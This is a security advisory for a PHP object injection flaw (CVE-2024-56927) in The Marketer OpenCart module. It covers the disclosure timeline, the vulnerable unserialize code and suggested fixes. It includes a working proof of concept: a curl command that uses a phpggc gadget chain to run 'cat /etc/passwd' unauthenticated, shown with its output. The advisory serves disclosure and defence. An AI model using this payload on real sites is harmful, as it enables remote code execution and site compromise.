The Marketer OpenCart module has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.
The vulnerability is exploitable remotely without authentication.
(POP/) Gadget Chains exist in OpenCart (3 and 4) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files or achieve Remote Code Execution.
Such an attack could result in the compromise of a site.
- 2024-12-07: mcdruid reports vulnerability via email
- 2024-12-07: commit fixes the vulnerability on github
- 2024-12-10: fix confirmed via email
"name": "TheMarketer",
"version": "1.0",
"author": "EAX LEX SRL",
"link": "https://eax.ro"
- Tested with OpenCart 3.0.4.0, 4.0.2.3
- CWE-502: Deserialization of Untrusted Data
- CAPEC-586: Object Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: CVE-2024-56927
In the examples below, a simple OpenCart test site has been set up with The Marketer module installed, and its Tracker module enabled. No further configuration is necessary.
A malicious payload can be passed in an unauthenticated GET request - for example:
$ curl -si "http://opencart.ddev.site/index.php?route=checkout/cart&remove=foo:$(/path/to/phpggc --public-properties -f -b OpenCart/RCE1 system 'cat /etc/passwd | head -n5')"
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
A real attacker would no doubt inject something more malicious.
There's some code in the extension which looks like it may be redundant and copied from an old version of OpenCart:
case 'checkout/cart':
case 'module/cart':
if (isset(Core::request()->get['remove'])) {
$remove = Core::request()->get['remove'];
$product = explode(':', $remove);
$product_id = $product[0];
// Options
if (isset($product[1])) {
$options = unserialize(base64_decode($product[1]));
This passes unsafe input from the remove
GET parameter to unserialize()
.
The call to unserialize
could be made safer by including the allowed_classes
option to disable Object Injection:
https://www.php.net/manual/en/function.unserialize.php
For example:
$setting = unserialize(base64_decode($this->request->post['setting']), ['allowed_classes' => FALSE]);
A better mitigation would be to replace the use of serialization with
json_encode
and json_decode
.